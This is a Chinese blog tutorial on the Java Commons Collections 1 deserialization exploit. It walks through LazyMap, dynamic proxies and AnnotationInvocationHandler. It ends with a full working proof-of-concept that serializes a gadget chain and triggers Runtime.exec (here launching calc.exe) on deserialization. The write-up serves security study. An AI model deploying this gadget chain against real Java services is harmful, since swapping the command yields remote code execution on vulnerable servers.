Java篇Commons Collections 1 (3)

CommonsCollections 1 (3)

这里是cc1的最后了,在ysoserial的源码中,它利用的是LazyMap而不是TransformedMap,其实我认为TransformedMap更简单也更好理解,但既然它用的是LazyMap那我们就来看看LazyMap嘛,这里就需要用到动态代理的知识了

LazyMap是啥

LazyMapTransformedMap类似,都是对map做一个修饰,都来自于Common-Collections库,并继承AbstractMapDecorator

LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在添加新元素的时候执行transform,也就是put一个新元素的时候;而LazyMap是在get方法中执行的transform,因为LazyMap的作用是“懒加载”,当它尝试get一个不存在的key时,它会调用factory.transform方法去获取一个值,因为会调用transform,从而触发漏洞,看看它的get方法:

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

而这个factory是什么呢?我们来看看LazyMap中的decorate方法和构造方法就好了:

1
2
3
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
1
2
3
4
5
6
7
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

可以看到,这个factory就是decorate方法的第二个参数,也就是我们传入的Transformer;之后的过程就和前面讲的一样了

所以说我们来本地触发一下漏洞,其实和第一篇文章的代码差不多的,只不过把TransformedMap改成LazyMap,把put改成get

image.png

接下来我们就来把这本地测试的类改成一段反序列化的流,这里会稍微复杂一点,因为AnnotationInvocationHandler类中的readObject方法中并没有直接调用map中的get方法,但在AnnotationInvocationHandler类中的invoke方法中有调用到get

如何调用invoke

那么如何调用到AnnotationInvocationHandler类中的invoke方法呢?这就需要用到我们前面说过的动态代理了,因为AnnotationInvocationHandler类同样是实现了InvocationHandler接口,那它相当于就是一个动态代理类,那我们就可以通过Proxy的静态方法newProxyInstance去动态创建代理了,而这样就可以进入到invoke方法中,记不太清了的话可以去看看前面的文章

Proxy.newProxyInstance 的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要代理的对象集合,这里肯定是map嘛;第三个参数是一个实现了InvocationHandler接口的对象,也就是代理类的对象,在这里其实就是我们前面利用反射创建的AnnotationInvocationHandler对象,里面有invoke方法,并且包含了具体代理的逻辑,这时候只要我们调用任意方法,都会进入到代理类的invoke方法中,进而触发漏洞,这里还是举个例子,看一个劫持:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import java.lang.reflect.*;
interface flag { //接口
void getflag();
}
class getflag implements flag { //接口实现类
@Override
public void getflag() {
System.out.println("Give you flag: flag{wllm_yyds}");
}
}
class DynamicProxy implements InvocationHandler{ //代理类
protected Object obj;
public DynamicProxy(Object obj){
this.obj = obj;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("success");
return null;
}
}
public class test11 {
public static void main(String[] args) {
flag flag = new getflag();
InvocationHandler handler = new DynamicProxy(flag); //创建一个实现接口InvocationHandler的对象
flag a = (flag) Proxy.newProxyInstance(getflag.class.getClassLoader(), new Class[]{flag.class}, handler);
//利用Proxy类中的newProxyInstance方法动态返回代理类的一个实例
a.getflag();
//这里我们想调用getflag方法就会直接进入到代理类的invoke方法中,进而输出success
}
}

image.png

这样就可以进入到invoke了,所以说代码如下:

1
2
3
4
5
6
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
InvocationHandler handler = (InvocationHandler) obj;
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

代理后的对象为proxyMap,这里我们不能对它直接反序列化,因为这条链子的入口依然是AnnotationInvocationHandler类中的readObject方法,所以说我们再利用AnnotationInvocationHandler对这个proxyMap进行封装就好了

1
handler = (InvocationHandler) construct.newInstance(Retention.class,proxyMap);

完整的链子

那我们就来看看完整的链子的思路:

首先是ObjectInputStream对象的readObject(),也就是对象流的反序列化,然后就是AnnotationInvocationHandler对象的readObject()方法,由于我们设置了代理,访问任意方法后就会进入到AnnotationInvocationHandler对象中的invoke方法,然后调用LazyMap中的get方法,进入到get方法那一切都好说了,然后调用ChainedTransformer中的transform方法,然后调用ConstantTransformer中的transform方法,返回Runtime.class对象,然后调用InvokerTransformer中的transform方法,然后利用invoke方法获取到getMethod方法,得到getRuntime对象,最后执行里面的exec方法就好了

ysoserial给的示意图:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

所以说poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class CommonCollections1_3 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc.exe" }),};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
System.out.println("对象序列化成功!");
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
System.out.println("对象反序列化成功!");
}
}

不过由于版本原因,我本地依然没有弹出计算器,切换版本之后弹出计算器:

image.png

LazyMap和TransformedMap的对比

前面详细分析了LazyMap的用法并且构造了poc,但是LazyMap仍然无法解决CommonCollections1在Java高版本(8u71以后)中的使用问题

LazyMap的漏洞触发在getinvoke中,完全没有setValue什么事,这也说明8u71后不能利用的原因和AnnotationInvocationHandler#readObject中有没有setValue没任何关系,主要还是跟逻辑有关系,主要它会新建一个map对象,而没有用我们构造的那个map了

只不过我还是认为TransformedMap用起来更加方便一点,不太明白为啥ysoserial要使用LazyMap

参考文章:

https://y4tacker.blog.csdn.net/article/details/117448761

https://fmyyy.gitee.io/2021/09/03/java反序列化CC1-3/

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2023 Arsene.Tang
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信